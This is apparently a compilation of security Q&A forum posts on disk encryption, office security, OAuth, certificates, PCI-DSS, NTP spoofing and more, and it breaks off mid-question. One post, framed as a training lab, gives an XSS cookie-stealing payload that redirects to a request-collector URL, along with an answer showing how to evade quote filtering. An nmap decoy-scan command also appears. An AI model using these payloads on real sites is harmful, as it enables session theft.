ZFS on LUKS2 encrypted device: LuksFormat with or without dm-integrity? Does it make sense to combine ZFS with LUKS2 for completely random-looking encryption on HDDs ? (Without luks-header on the disk of course, header placed elsewhere). The goal is to make a HDD really look like random data, since as I've learned ZFS built-in encryption is still telling us  that it's actually a ZFS encrypted volume you're looking at, instead of being really just random data.
If yes, what would you use ?

a) Rather a simple integrity-free LUKS2 format since ZFS is taking care of integrity in upper layer already, or
b) LUKS with integrity ? (It might cause double write lag, once because of integrity checksum creation on the lower layers and then again in ZFS layer, but not sure. And probably bring in a little more complication in case of a physical failure or bit rot).

What happens at all when a bit flip is happening on an integrity-free conventional LUKS device ? Will that logical LUKS sector appear as 1 bad sector on the mapper device ? (Which would then be sensed by ZFS in a mirror setup and corrected/replaced elsewhere on the mapper device, I assume).
Setup would be a zfs raidz1,raidz2, raidz3, or mirror with 2+ drives so not only error detection but correction is granted too. Debian 10, ZoL.
I might install a smaller decoy OS (W10, Ubuntu..) onto the first ~50GB and run it occassionally .. (placing the encrypted part just behind it onto remaining empty space).
This method would allow a HDD to look like a harmless newbie setup, I'm not sure I want to complicate my life with Veracrypt & Co. and I'd like to stick to ZFS because I simply love it. It's only the lack of unrecognizably-random-looking encryption in ZFS which makes me thinking about pushing a LUKS2 layer beneath it. (I believe more in distraction than in unbreakable encryption btw).

Firstly, neither LUKS nor ZFS are designed to provide plausible deniability. You can tweak and change things to hide things a bit, but it won't get past intentional scrutiny.
ZFS does checksumming, so you'd be wasting resources by using dm-integrity underneath.


Securing an area both physically and technically I work for a commercial printing company, and we're beginning to get a couple jobs labeled "High Security".  Essentially this means that if any pictures/information/files/etc. of the product were released publicly it would mean tens of thousands of dollars lost for our customer.

While it's fairly simple to secure an area around a printing press (no one is allowed around it aside from machine operators, and all printed materials are covered at all times), I'm running into a couple of walls while the artwork is passing through our prepress department (prepping the artwork for the press.  Lots of photoshop work and stuff like that).  All files are prepped on Macs (running Snow Leopard)

What we have already implemented:

Biometric locks on doors that access the server room
Keycard locks on doors that access the prepress area
PTZ cameras targeted at key positions
SFTP file transfer (files coming from client to us.  Files are immediately deleted off the FTP server after they are retrieved)
No local file storage - files always stay on a flash drive which never leaves a manager's sight.

Things I'm still worried about:

Pictures being taken with mobile devices

We've considered purchasing cell phone detectors, but they seem a bit flaky.  They're only guaranteed to check at about ~20 minute intervals.  Also, the ones I've found are either pretty junky looking (chinese resellers) or are $3000+

Local storage of files until we are no longer in "high security mode"

We block off internet connections while under high security, but it is reopened once the job has closed.  How can I stop people from saving the file locally and then posting it somewhere once the net connection is established?

Is mingling an SFTP server and an FTP server really secure?

Right now our FTP server and SFTP server are actually located on the same box.  Does this make our SFTP less secure, or are we fine?

What can I do to fix the above issues?  Are there any other things I should be thinking about before I officially say prepress is secure?

  This question was IT Security Question of the Week.
  Read the Dec 16, 2011 blog entry for more details or submit your own Question of the Week.

Quick background: I'll refer to everything that's related to your "secret image" as Red, everything else as Green.

Cell phones

I set my iPhone to airplane mode, grab my picture, and upload it at home. Forget detecting the signal; detect the phone. No comms or photo devices allowed in secure areas, even if it's a 10 year old Nokia brick. Use a metal detector. Get rid of iPod shuffles too.

Internet

For "red" machines, no and never. Well, it's not quite a disconnected world and the tradeoff of firewalling everything but Apple and Adobe update sites is probably a reasonable compromise on time versus sneaker-netting updates or downloading files to a bastion host.

Flash drive

I'd go the other way and only keep files stored locally. Besides the fact that flash drives are notorious for getting lost, the file can be copied to the local system anyway, and then onto a new flash drive. We've moved to a world where keyboards and storage media plug into the same physical port which sucks from a security standpoint. Epoxy in the ports is usually a good idea, but you would still need to keep that keyboard plugged in, and that's not easy. I suggest setting up auditd to detect any USB activity that isn't a keyboard or mouse and to push that log over the network to a monitoring device that emails and pages half the damn company at once. If you put a mass storage device in, somebody will come for you within a minute. Also, be careful about CD burners. If you can disconnect the drive, all the better.

Actually, also make sure you disable the drivers for mass storage over external drives: http://www.techrepublic.com/blog/networking/disable-usb-storage-under-os-x-or-windows/297... and still implement the audit logging. Try taking steps to detect if a machine has been unplugged from the network too.

SFTP server

Ensure that only one account can read files, and that's the account that moves things from your green network to your red network. An extra bonus if you enforce read-only to everything and use server scripts to push data to the red network. That may require some fancy permissions work and installing a mandatory access control framework if you use the standard SFTP subsystem of SSH.

I'd also consider running ProFTPD as the backend for SFTP as it does allow for more fine-grain permissions control enforced by the application config.

Machine Configuration

"Deep freeze" your machines so that they boot the same configuration every single time and keep no new files. Procedure should be to shutdown machines when done with them, or at least reboot between users. Store all your client files on one central share and audit log all access to that share.


XSS: sending a cookie without using quotes or double quotes? I'm trying to steal a Cookie using XSS in a training lab. The problem is that the server escapes my quotes and double quotes. So if I want to use this payload for instance:

<script>document.location="http://requestb.in/XXXXXXX"</script>

No GET request is performed to "http://requestb.in/XXXXXXX" because of the ' and " getting escaped. (' turns into \' and " turns into '+String.fromCharCode(34)), thus the payload becomes:

<script>document.location=\'http://requestb.in/XXXXXXX"=\'</script>

OR

<script>document.location='+String.fromCharCode(34)+'http://requestb.in/XXXXXXX'+String.fromCharCode(34)+'</script>

So, which other means can one use to perform a Cookie Stealing in those conditions ?

Cheers

You don't need quotes. One possibility would be to use String.fromCharCode:

<script>
document.location=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 101, 120, 97, 109, 112, 108, 101, 46, 99, 111, 109, 47, 102, 111, 111, 98, 97, 114)
</script>

There is also always jsfuck, which lets you execute arbitrary JavaScript with just ()[]+!.


Securing implicit tokens (Example: Moltin) I'm fairly new to security but I'm trying to understand how companies have their APIs set. One such case is Moltin's Implicit Token.

Basically they provide you with a read-only (for the most part) token that you can get by a POST request and providing the parameters:

client_id (this is publicly known)
grant_type (which would be "implicit")

In their docs, they say that implicit tokens are generally for front-end applications, however I'm not sure what the point of this is. What is the benefit if the client_id is exposed thus allowing anyone to generate these tokens? On top of that, they are only allowed access to non-sensitive data. It is odd to me because visitors to your shop would be given a token just to visit your site and read your listings. It seems more beneficial to not have a token at all for reading data but have one if you plan to write or view more sensitive data.

Your point makes sense.

The OAuth2.0 RFC (section 1.3.2) explains this :

  Implicit grants improve the responsiveness and efficiency of some
  clients (such as a client implemented as an in-browser application),
  since it reduces the number of round trips required to obtain an
  access token.

But the industry best practice has changed. The OAuth 2.0 Security Best Current Practice document recommends against using the Implicit flow entirely:

  [...]clients SHOULD NOT use the implicit    grant (response type
  "token") or any other response type issuing    access tokens in the
  authorization response, such as "token id_token"    and "code token
  id_token", unless the issued access tokens are    sender-constrained
  and access token injection in the authorization    response is
  prevented.


How can I create my own public certificate using openssl? I have a public key/private key pair i generated using two primes p and q. I now need to use openssl to sign and create the certificate. I heard req utility and wrote this from the man pages.

openssl req -x509 -days 365 -nodes -key inputfile.txt -keyout key.pem -out cert.pem

But what details should I specify in inputfile.txt and is there a particular format for that?

Here's nice walkthrough of all the steps you need to do in order to generate self-signed ceritficate.

http://www.akadia.com/services/ssh_test_certificate.html

You are using wrong parameters. When you are generating new certificate, you've got two inputs - request and private key and one output - the signed certificate.
The correct command therefore would be:
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
where

x509 req : you are requesting PKI functionality
days 365 : validitity period for the certificate
in : certificate signing request
signkey : private key used to sign the certificate
out : output file for the generated certificate

Hope this helps.


Extended Basic Authentication I would like to implement a REST API with Basic Authentication which relies on username and password. Because REST is stateless the user would have to reenter username and password for every request without storing them in a cookie. As storing username and password in a cookie is not an option another solution is needed.

The scenario I’m thinking of will be as follows:

User navigates to https://www.myapi.com/login
User enters username and password (encrypted with SSL).
System checks if provided credentials are correct.
If correct: System generates a GUID, encrypts the GUID with password of user and sends it to the user.
If not correct: Increase FailedPasswordAttemptCounter and check if login should be locked for the user.

As the response of the server to the client is not encrypted the GUID is encrypted with the password of the user. Only the user is able to decrypt the GUID.

The user provides the GUID for all other resources which needs authentication instead of username and password.

Is this approach better compared to providing username & password for each request?

I’m aware of the fact that someone is able to generate GUIDs and tries to authenticate with them. But a targeted attack on a specific user is nearly impossible as the login resource provides a lock mechanism.

My question is somehow related to this one: https://stackoverflow.com/questions/290405/is-using-a-guid-security-though-obscurity

Because REST is stateless the user would have to reenter username and password for every request

Is directly contradictory to

  The user provides the GUID for all other resources which needs authentication instead of username and password.

You can either:

A. send the password with every request, or
  B. don't send the password with every request.

But you will have to pick one.

Here's the ideal scenario. It's close to what you're describing:

The user logs in. Username, password, authentication token, whatever.
The server stores that authentication event server-side and creates a random token (GUID or whatever you want) to give to the client
When the client want to send his request, he also sends the token which identifies him to the server. It could be in a cookie, in the URL, in a form variable, in a separate header. Doesn't matter. Anywhere in the request is fine.
The server expires the token after it's no longer supposed to be used. Perhaps it's good for 5 minutes, perhaps it's good until it's been used for one operation. Perhaps it's good until it goes unused for 5 minutes. Whatever you want.


monitor port scan on the same segment if theres a port scan on the same segment and it does not reach the firewall at all, it is not detectable by anything. is there any solution to that ? maybe using the windows fw on ach workstation to monitor ? Is there a way to create maybe a user defined rule using a default windows firewall, that detects when theres many attempts to connect to the host using many ports and then create a security event?
anything like that can be enforced using gpo or something ?

Unsure of what you're asking so I will answer based on what I do understand:

  if theres a port scan on the same segment and it does not reach the
  firewall at all, it is not detectable by anything.

This makes little sense. If there is a port scan on the same NETWORK and it does not reach the firewall, it is not detectable by anything? Consider the following internal network:

Network     10.10.10.0
Subnet      255.255.255.0
Router      10.10.10.1
Firewall    10.10.10.2

If I am on 10.10.10.3 and scan 10.10.10.4 my port scan may or may not be detected on the firewall depending on your configuration. Once upon a time, there was "PortMagic" port scan detector for Windows, but I would not install that on ANYTHING but a home PC. It is not a commercial tool, and even if it was, you would likely confuse your users or make them paranoid.

Secondly, attackers can mangle portscanning by using decoys, and unless you configure these automated tools properly, you're doing more harm than good. For example, if you configured an automatic block, consider I scan your machine with the IP of 10.10.10.10 with the following syntax:

nmap -sS -vvv -D 10.10.10.2,10.10.10.1 10.10.10.10

-D 10.10.10.2,10.10.10.1 these decoys that I am using will be blocked by 10.10.10.10 which means that machine will be offline. Just because a machine is being portscanned, doesn't mean someone WILL hack that machine. It all boils down to whether or not the machine is vulnerable, and whether or not that vulnerability is EXPLOITABLE.

Think of a house. Every house has windows. Every house is vulnerable. Your house has a security guard on duty, with Rottweilers inside a fence around the perimeter. I can assure you that your house is not exploitable. At least not as easy as the house without any protections. However, even this analogy is not that great because some houses have more windows than others. What is behind those windows? (e.g. what services are you running that someone can exploit.)


Is this PHP script secure? I'm trying to create a secure website. Can someone let me know if this is susceptible to SQL injection? If it is, could you provide me with an exmaple of a statement that would work for injection? I've tried to inject it myself but my connection just times out. Thanks.

$db = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass);

$db->query("INSERT INTO Name(Name) VALUES ('$firstname')");

No, there is no sanitation or escaping of quotes found in your snippet assuming $firstname is user provided input. Nothing is stopping me from modifying your query. This OWASP article will explain how easy it would be and their example closely resembles what you are trying to do.

You should consider reading up on how to use prepared statements and filtering your input to harden your code.


DPAPI equivalent on linux? I have an app server and a db server. I want to send certain data to the db encrypted, using a DEK (data encryption key). Ideally, this DEK is read protected on the linux file system and encrypted using a KEK (key encryption key). On Windows, I would use DPAPI to protect the KEK, but on Linux, I am unsure the best way to keep this key secure (without an HSM).

I am open to alternate common architectures or paradigms that people use to solve this problem.

If malicious code can run in the context of the user, DPAPI provides no protection, since said malicious code can simply ask DPAPI to decrypt it.

The only scenario it protects against, is if the data or disk is stolen, but the password is not known. The password can be reset easily but this makes the DPAPI protected data inaccessible. An attacker would have to crack the password hash from the Windows credential cache, but be aware that this is generally a very do-able task. If you know that this is what you have to do you can probably do it in most cases.

Your real problem is "how to easily manage the KEK".

DPAPI takes care of key management by piggy-backing on the Windows password. You would need a PAM module to do this on Linux, and there isn't one.

You should consider piggy-backing on whatever the user is already using, e.g. OSX Keychain, KDE's KWallet, Gnome's GnomeKeyring etc, which I believe have APIs.

If you were using Python, you should consider something like this:

https://pypi.python.org/pypi/keyring


What are the security implications of storing password blacklist? I want to add a password blacklist that would prevent the 1000 most common passwords from being used in order to mitigate shallow dictionary attacks. Is there any negative implication of storing this blacklist in the database?

In that order of magnitude (1000 passwords), I don't see any down sides from a security point of view. If anything, I'd say it's a good idea. Granted, you'll be shrinking the pool of possible passwords which, theoretically, decreases the security. In practice, however, those most commonly used passwords will be one of the first wordlists an attacker would try.

In fact, I've seen a few web services disclosing this in their registration forms. Some even block whole dictionaries in addition to common passwords.


PCI-DSS scope: Using P2PE Compliant devices We use EMV card readers to automate the payments at the entry and exit to our services. These card readers and the unattended payment terminals are fully PTS complaint and use P2PE encryption. Also, implemented by PCI-DSS complaint service providers. These devices only transmit "Irreversible Hash" into our systems so as to calculate the charges based on entry and exit time stamps. We process more than 2 million transactions per year.

How far we ("the merchant") go in terms of scoping given that we
have implemented the physical security requirements for these card readers and the firmware updates etc for the card readers can only done PCI-DSS compliant providers. All these devices are in a separate VLAN.
Going by PCI-DSS 3.2 requirements which talks about the "connected systems" - In our case although there is an internal system which is a connected system, the card readers never transmit clear text PAN out of them to our internal system. Could our internal system ruled out of scope as they talk to only the complaint card readers.
Having discussed with 2 different QSAs, they provide different opinions about how far we need to go with respect to the connect system. We know for sure there is no way that the EMV readers are going to transmit clear text PAN unless they are physically tampered with - For which we have physical controls in place.
We have also ensured that none of the refund processes will need a full text pan to be shared between the customer and the merchant
(or) all the connected systems (and their shared services like monitoring and logging systems) are in scope just because the EMV readers are in our (Merchants) network?

Will be great to know the opinion of the experts.

Cheers

I'd suggest putting in a logic control (rather than just the current physical tamper control) to verify no clear text cardholder data is ever received by the connected system environment. If such data is identified, it should raise an alert.
Verify the hashing mechanism in use is strong (e.g. SHA2) and uses salts so you're not vulnerable to rainbow table attacks.

You still need to document how cardholder data is protected within the environment but the connected system should be removed from scope in the same way as a system handling truncated data would be, or a system handling encrypted data would be where the entity has no access to the keys which would be used for decryption.


Proxy + Tor = anonymous? I've been doing some research about how to stay anonymous on the net, and I was wondering what if you set up for instance your browser, to run through a proxy and then run through Tor? Can I browse safely that way? - I am aware that most things can be cracked, bypassed, exploited, etc. (and we all know the onion routing protocol is not as anonymous as we may think). Also I don't trust VPNs / don't know of any trustworthy.

There is no real qualitative difference between a VPN and a proxy -- the difference is mostly quantitative. An HTTP proxy is a proxy for the HTTP protocol; a VPN is a proxy for TCP/IP and everything that can be conveyed within TCP/IP, including (but not only) HTTP. From an anonymity point of view, the proxy or VPN transfers the traffic that goes through it, and "sees" the source IP address and the data contents. If the data is encrypted (SSL...), the proxy or VPN can still see who talks to who, and the size of the exchanges.

Tor can be conceptually viewed as a randomly selected chain of proxies, with nested layers of encryption so that each proxy sees as little as possible. Adding an extra proxy does not really change the game. Arguably, using a Tor chain with one extra node would be better for anonymity, because, contrary to your manual proxy configuration, that extra node will be randomly selected and an extra nested layer of encryption will be applied.


AES-256 decryption after key destruction. Possible or not? Can AES-256 be decrypted if after the encryption process you destroy the key that must be used to decrypt the data, is it possible?

In theory, you could try to brute force the key and recover the data.  In practice, that's extraordinarily unlikely to be successful as it would be expected to take a very, very long time.

Per Wikipedia:

  AES permits the use of 256-bit keys. Breaking a symmetric 256-bit key by brute force requires 2128 times more computational power than a 128-bit key. Fifty supercomputers that could check a billion billion (1018) AES keys per second (if such a device could ever be made) would, in theory, require about 3×1051 years to exhaust the 256-bit key space.

Keep in mind, the universe has existed for about 1.38×1010 years.  Supposedly, a quantum computer could reduce this substantially, but it would still be expected to take longer than the universe has existed.

Of course, you could get really lucky (like win the lottery every week for the next decade lucky) and brute force it in a year or two, but if I were you I wouldn't waste the time or effort.


Strange STP traffic in my network, possible MitM attack? I live at a student dorm, where we are connected to a student network. The administrators of this network have forgotten to disable STP broadcast on non-infrastructure ports.

Periodically, I lose my network connection, and I decided to see if the STP configuration might be the issue.

This the normal packet I receive every second:

4   0.179081    Alcatel-_c3:a8:91   Spanning-tree-(for-bridges)_00  STP Conf. Root = 32768/0/00:d0:95:88:dc:d6  Cost = 4  Port = 0x722f

When the network outage occurred, I checked my wireshark logs, and the following appeared:

3   0.597039    Alcatel-_c3:a8:91   Spanning-tree-(for-bridges)_00  STP Conf. Root = 32768/0/00:d0:95:c3:a8:68  Cost = 0  Port = 0x722f
6   1.577752    04:4b:80:80:80:03   Spanning-tree-(for-bridges)_00  STP Conf. TC + Root = 32768/0/06:4b:80:80:80:03  Cost = 0  Port = 0x8000
8   2.599098    Alcatel-_c3:a8:91   Spanning-tree-(for-bridges)_00  STP Conf. Root = 32768/0/00:d0:95:c3:a8:68  Cost = 0  Port = 0x722f
9   2.599133    04:4b:80:80:80:03   Spanning-tree-(for-bridges)_00  STP Topology Change Notification

While network is "down", the following STP packet is received every second:

1619    38.636743   Alcatel-_c3:a8:91   Spanning-tree-(for-bridges)_00  STP Conf. Root = 32768/0/00:d0:95:c3:a8:68  Cost = 0  Port = 0x722f

And when the network is working properly again, I receive the following:

2932    584.778568  Alcatel-_c3:a8:91   Spanning-tree-(for-bridges)_00  STP Conf. Root = 32768/0/00:d0:95:88:dc:d6  Cost = 4  Port = 0x722f

By odd luck, I decided to google the hardware address 04:4b:80:80:80:03, as it seemed a bit odd. It turns out there are many people who have issues with nVidia chipsets who set this NIC address to default...

My thought about this is that some desktop machine is experimenting with STP attacks. This is the first STP network I've encountered, so I'm not sure what I'm seeing here, and hope someone with more insight than me can help me understand what is happening.

Edit:

Recently, the packets have now changed:

58  114.145230  Alcatel-_c3:a8:91   Spanning-tree-(for-bridges)_00  STP Conf. Root = 61440/4095/ff:ff:ff:ff:ff:ff  Cost = 4  Port = 0x722f

The Root Bridge System ID is ff:ff:ff:ff:ff:ff. This is while I have no network outage. I've tried to find documentation for what purpose this broadcast hw addr is announced as the root bridge, but no luck...

The classical spanning tree protocol may take up to 30 seconds to process a topology change. During this state, no non topology packets may be forwarded. Are the outages longer than 30 seconds?

Sending STP-notification to all ports may help if someone connects an STP enabled switch twice. Accepting them from any port is problematic because of the DoS vulnerability of the STP that you are experiencing. And it might make arp cache poisoning easier.

Normal computers may act as a bridge because of virtual machines, to allow the guest full network access. If I remember correctly, VMware does send STP notifications by default.

You should talk to the people responsible to operate the student network. They may be able to change the configuration to make it more stable (filter sources, migrate to one of the successors of STP). And they will be able to isolate the owner of that MAC address, at least the switch port it is connected to.


Vpn on non domain joined laptop Let's assume I have my private laptop running VPN software. The VPN server is authenticating users with AD. If I'm an valid AD user of this domain but my laptop is not domain joined,will I be able to authenticate and access corp resources?

Why don't you try and let us know ?

From what I understand, it seems like you can ; everything depends on the vpn and AD settings :

if VPN only allow "registered" machines and your PC is not : you can't
if VPN does not restrict "inbound" machines, then I guess you can.
now the most important thing is the AD settings :

if access to a given ressource is limited to specific computer accounts, then, though you could be able to authenticate via VPN, you won't be granted access to that resource ;
if access to a given ressource is granted primarily based on user accounts, then you won't have issues using your home laptop.
add to that numerous other combinations....

Ask you system admin for more information about the company policy and your VPN software settings.

On a more technical level, msdn says :

  When a computer accesses the network, this means that system services running on the computer in the LocalSystem context are accessing the network resources.

Here none of you services running under LocalSystem context has access to your office network...only the VPN software. So unless specific VPN and/or AD settings are in place, you won't be able to access the company network.


Secure sharing between Windows computers I'm working on a project to setup a secure system to share files between 5 Windows computers. The computers are part of a domain so could have multiple different users logging in (based on an AD group). The files would contain bank/account information. It is possible to setup a server using re-purposed hardware.

I've looked at NFS or Samba, but it doesn't look like I would be able to encrypt the data in transit without additional setup (like VPN). Other options I've found so far are Syncthing or Unison. The advantage of sync would be each computer has a copy in case something breaks.

Any suggestions on how I could get this working?

SMB 3.0 (Windows 8 / Windows Server 2012, or newer) supports encryption. To enable it, use the PowerShell commands on this page (verified on Win10 Enterprise, non-domain-joined). By default, once enabled on the server, unencrypted or legacy connections will be rejected. This also automatically enables integrity (signing) checks.

I don't know of any way to enable Win7 (or older) machines to connect to an encrypted SMB share (it's not possible to install SMB 3.x on legacy Windows versions). The next best option may be IPsec, which is supported in most Windows versions but is not trivial to set up (much harder than running a single PowerShell command, at least).


Any hints for programming my own password manager? I mostly want whatever help & suggestions you can give me about what I should avoid & what I should think about when making this.

I'm a reasonable programmer & I want to make my own program to hold passwords as an exercise.

Why not use any of the already existing password managers?

I want to make one myself.
I don't really trust them since I can't know what their code is doing to my passwords (like maybe it's storing them on a central server?... NO!)

I'm not aiming for Bank-level security, but it I will try to make it as secure as possible, but it should at least be an obvious upgrade for people that store passwords in unencrypted text files (aim low and avoid disappointment).

I'm using a "language" for mobile programming called Automate "unfortunately" that means that the program will be open source, so I think it's impossible to make it completely secure because anyone can see & modify their local version of the code (but they need both the code & someone else's save-file to compromise the security, and realistically then it's already game over for any security program).

Using Automate means that I don't have access to fancy libraries & stuff, but has to rely on very basic stuff like variables, lists, dictionaries, loops, if-statements & some built-in functions (here is a list of all available functions).

Some function examples: converting text to binary, convert a utf-8 text to sha1 (160 bit) or md5 (128 bit) hash, and I can do as many re-encodings of the text as i want, and I can switch the string to be another format, something like this:

utf-8 --> sha1 --> hex -->md5 --> binary --> sha1 again

I can also do character manipulation, so I can take a string, extract each letter and eg. add some ammount to that char's unicode-value, so I can do something like:

string value_1 = "abc";
string value_2 = "def";

// assuming equal length strings for simplicity.
for( int index= 0; index < value_1.length(); index++ ){
    string encoded = char( value_1[ index ] + value_2[ index ] ); // e=(a+d) at index 0
}
print( encoded ); // outputs: egi

I know that "security through obscurity" is a bad idea (that's why I ask here) but what else can I do?

What is the "best" way to encode a text so it can be stored somewhat securely in a text file and later be de-coded so the text can be read (preferably only by the owner)?

What other tips & suggestions do you have?

Don't. You show a lack of understanding of the topic.

  I don't really trust them since I can't know what their code is doing to my passwords (like maybe it's storing them on a central server?... NO!)

Read the source. For instance Keepass is Open Source. You can verify how it works, and if it transmits anything.

  I'm not aiming for Bank-level security, but it I will try to make it as secure as possible, but it should at least be an obvious upgrade for people that store passwords in unencrypted text files (aim low and avoid disappointment).

False sense of security may be worse than no security. If I know it's a clear text file, I will treat it as such. If I believe it to be securely encrypted - but it's in fact not - I may end up compromising it.

  I'm using a "language" for mobile programming called Automate "unfortunately" that means that the program will be open source, so I think it's impossible to make it completely secure because anyone can see & modify their local version of the code (but they need both the code & someone else's save-file to compromise the security, and realistically then it's already game over for any security program).

You should read about Kerchoffs principle. In short, the only secret of your scheme should be the encryption key. Assume that any attacker knows exactly how the encryption works.

No matter what language you use, it's possible to figure out how the app works. With Java it's trivial, with C somewhat harder.

  Using Automate means that I don't have access to fancy libraries & stuff, but has to rely on very basic stuff like variables, lists, dictionaries, loops, if-statements & some built-in functions (here is a list of all available functions).

If you first do this, build it on established crypto libraries. The chances of breaking what looks like solid encryption trough some silly mistake is huge, and history is littered with broken crypto.

Also remember Schneier's law:

  Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break.


/WEB-INF/web.xml showing MySQL credentials? I found the file /WEB-INF/web.xml on a domain I'm associated with. The XML file contains:

<database>
    <jndi-name>jdbc/mysql</jndi-name>
    <driver>
        <type>com.mysql.jdbc.jdbc2.optional.MysqlConnectionPoolDataSource</type>
        <url>jdbc:mysql://127.0.0.1:3306/[domainWasHere]</url>
        <user>[userWasHere]</user>
        <password>[passWasHere]</password>
    </driver>
</database>

Could this be vital information in the wrong hands?

Could it?  Yes.

Is it?  That's less certain.  If your MySQL server is configured properly, it isn't accessible from the Internet at large, and the credentials are useless to anyone who doesn't have the ability to run code on the server.

Of course, this assumes that the username and password are unique to the server.


Is NTP vulnerable to DNS poisoning or spoofing attacks? Scenario:

Attacker somehow compromises the DNS lookup for the NTP server used by the victim (a web application)
Victim sends DNS request for e.g. ntp.pool.org, which is responded to by attacker to direct the victim to another computer under their control
Attacker issues incorrect timing information via NTP
Attacker performs attack on victim that depends on victim's knowledge of the current time being incorrect

Is this possible? If so, what should be done to mitigate against it? Are there any other similar attacks?

An interesting thought that occurs to me: if the resulting time change is small, this may be hard to distinguish from a correct NTP response.

I realize that this was asked some days ago; and this answer may languish at the bottom here. However, there are some simple 'system administrator' tips that need mentioning.

Yes, DNS hijacking and Man-In-The-Middle attacks do work against NTP as it is commonly deployed today. NTP is often / most often used across the Internet, without encryption (SSL), and without authentication.

And many companies under-invest in accurate time keeping. Accurate time keeping is required for many authentication protocols such as Kerberos, but it goes further than that, precise time is essential for fx post-attack forensics.

That said, in practice NTP isn't that common an attack vector. If you disagree, then please post links. :-)

In OP's case, the attacker subverts the DNS entry for a well-known NTP source such as pool.ntp.org. That's a valid concern. However an old and widespread best practice is to use many (5, 7, or 9) upstream NTP servers to guard against "falsetickers". With three upstream NTP servers the client can identify and ignore one falseticker; with 5 upstreams up to two falsetickers can be mitigated; etc.
A good sysadmin will also have considered BGP route diversity; network latency; and the stratum of upstream servers when selecting his upstream NTP servers. There are many NTP servers out there, both widely publicized services such as pool.ntp.org and lesser known local ISP NTPs, local university services, etc. This again provides some 'strength in numbers'.

  An interesting thought that occurs to me: if the resulting time change is small, this may be hard to distinguish from a correct NTP response.

Assuming a) you are following best practice and have multiple upstream NTP servers, and b) the majority of your upstream NTP servers have not been hijacked, then this isn't so hard really. OpenNTPd is known to use a simple falseticker detection (slide 20+).
AFAIK OpenNTPd does the following:

Calculate the median value of all NTP responses.
Find outliers, the NTP servers which deviate greatly from the median. Disregard these.
Using only the remaining NTP server responses, calculate the average, and use this value as the final result.

The reference NTPd is said have a more complex / more complete falseticker detection than OpenNTPd.


Clarification about PrimeFaces Expression Language Injection The PrimeFaces Expression Language Injection explained here:
http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html

Will happy for the clarification about the remediation:
Why not enough to filter all requests with pfdrt=sc?
Why need to ensure that pfdrid parameter longer than 16 bytes and Base64 encoded?

You could just filter against requests containing pfdrt=sc, but that would break legitimate requests to that functionality which use streamed content. The exploit relies on being able to send more than 16 bytes of base64 encoded data to that particular functionality, in order to inject expression language.

As such, in order to allow legitimate requests to that functionality, but block malicious requests at the same time, you must filter requests which contain pfdrt=sc and which have a pfdrid parameter whose value is a base64 string representing more than 16 bytes of data.


how to create a wrapper for an executable file What I want to do is to modify the behavior of a binary file ( but I don't have sourcecode of this file). One solution I can think about is to create a wrapper, and this wrapper can defer some API calls or add additional API calls. Do you know is there any existing libraries support this?
Thank you.

Windows executables interacts with OS  (WinAPI) functions through system DLLs. Without modifying the exe, one trick is to hijack those calls - search for "dll injection".


One computer with multiple OSs in different drives I use my personal computer for both programming work and gaming at my free time(and sometimes penetration testing) all these in different operating systems each.
 The problem is that I dont really trust Windows security wise(which will be used for gaming). So I figured a solution to having 3 different drives, 1 for Windows and 2 more for my linux OSs. Security wise all three systems will be encrypted using TrueCrypt and the other drives disconnected when one system is in use. But that still leaves one attack vector... the hardware itself.

Can using one system and then booting into a second system with the same hardware but the previous systems drive removed be an attack vector? And if yes what are some possible ways to prevent it?

If a machine is hijack by an hostile entity, then the attacker can gain full access to the hardware -- including every drive which is currently plugged in the machine. If the Linux drives are encrypted with a key that the Windows system never sees (which means that if you want to copy files from the Linux to the Windows, you have to do it from Linux, not from Windows), then such an attacker should not be able to read your Linux files. However, he can still do some considerable disruption.

Moreover, a boot disk is never completely encrypted, since at least the decryption code will be stored "as is". An industrious attacker, who gained control of your Windows machine, may plant some hostile code in the boot sector of the Linux system, so that it grabs a copy of your TrueCrypt passphrase the next time you boot Linux. Of course we are talking about a competent attacker here, but such people exist.

Apart from disks, the BIOS is commonly a re-flashable chip, and thus may serve as vector for hostile code. BIOS virus exist. Other pieces of hardware also have firmware, to be executed by the main CPU or even hardware-specific CPU, and such firmware may also be infected (this has been demonstrated in lab conditions, not sure it was spotted "in the wild"). If a machine is compromised, the compromise can go deep... But then, the attacker is really good, and really hates you, personally.

A "complete" solution would be virtualization -- the VM layer offers only virtual hardware to the potentially infected OS, keeping the rest of the machine clean. However, this is relative to how well the hypervisor can contain hostile code; hypervisor bugs occur (not often, but still...). A bigger problem will be that games will need some rather direct access to your GPU. It may not work at all, or imply heavy overhead; it may also provide an escape route for the attacker. After all, the GPU can run code and has privileged access to the main memory bus.

In practice, isolating the Windows OS in a VM will not provide absolute security, but it ought to block the not-so-good attackers (e.g. mindless malware), and may slow down the best attackers. I am not sure about the compatibility of games with virtualized GPU, though.

A much cheaper alternative, which does nothing about BIOS/firmware hacks but will protect your disks, is to make you Linux disks external. Just unplug them before booting Windows. If they are not in the machine at all, they will remain safe.


Monitor mode not sniffing from other devices on the same network i'm currently running a 802.11n adapter in monitor mode on a kali linux PC. Monitor mode was enabled using airmon-ng. On the same network as the kali linux PC are 2 raspberry pi devices.

Pinging from a Raspberry Pi device to the PC shows ICMP packets on wireshark, but pinging from a Raspberry Pi device to another Raspberry Pi device doesn't show anything on wireshark. Could there be any reason for this? Or a fix?

If your other devices (Pi) are sending lan traffic over a network switch / router, it’s likely the traffic is not visible as the switch or router isn’t sending (routing) traffic to all ports (not spanning traffic to all ports). If your switch supports it you can look at making configuration changes to make it behave like a hub type device where all traffic goes out all ports, but that could easily end up in a packet storm or DoS condition.


How secure is LXD compared to Docker? I was thinking on using LXD instead of Docker, but I can't find anything about how secure it is compared to a regular or a CIS hardened Docker. Any information about this?

Read this article: https://linuxhint.com/lxd-vs-docker/

It seems there is no other more secure than the other. Everything well configured has similar security level, but Docker seems more secure "by default". I mean, on Docker by default a container is not accessible from outside by default, ping or ifconfig are unavailable from inside a Docker container. Of course you can enable all or configure whatever to work in the same way as LXD.


ECDH and static key encryption It's been a while and I'm still trying to figure out if my understanding of ECC crypto is correct.

Basically from what I understood a purely asymmetric encryption is never used. Usually the asymmetric encryption is used to share a common symmetric key, and then use that to share information. This is faster and more flexible than a pure asymmetric encryption..

For the following examples, let's say Alice wants to send Bob a message, and both of them already know the public key of the other.

Now, with RSA the procedure is roughly:

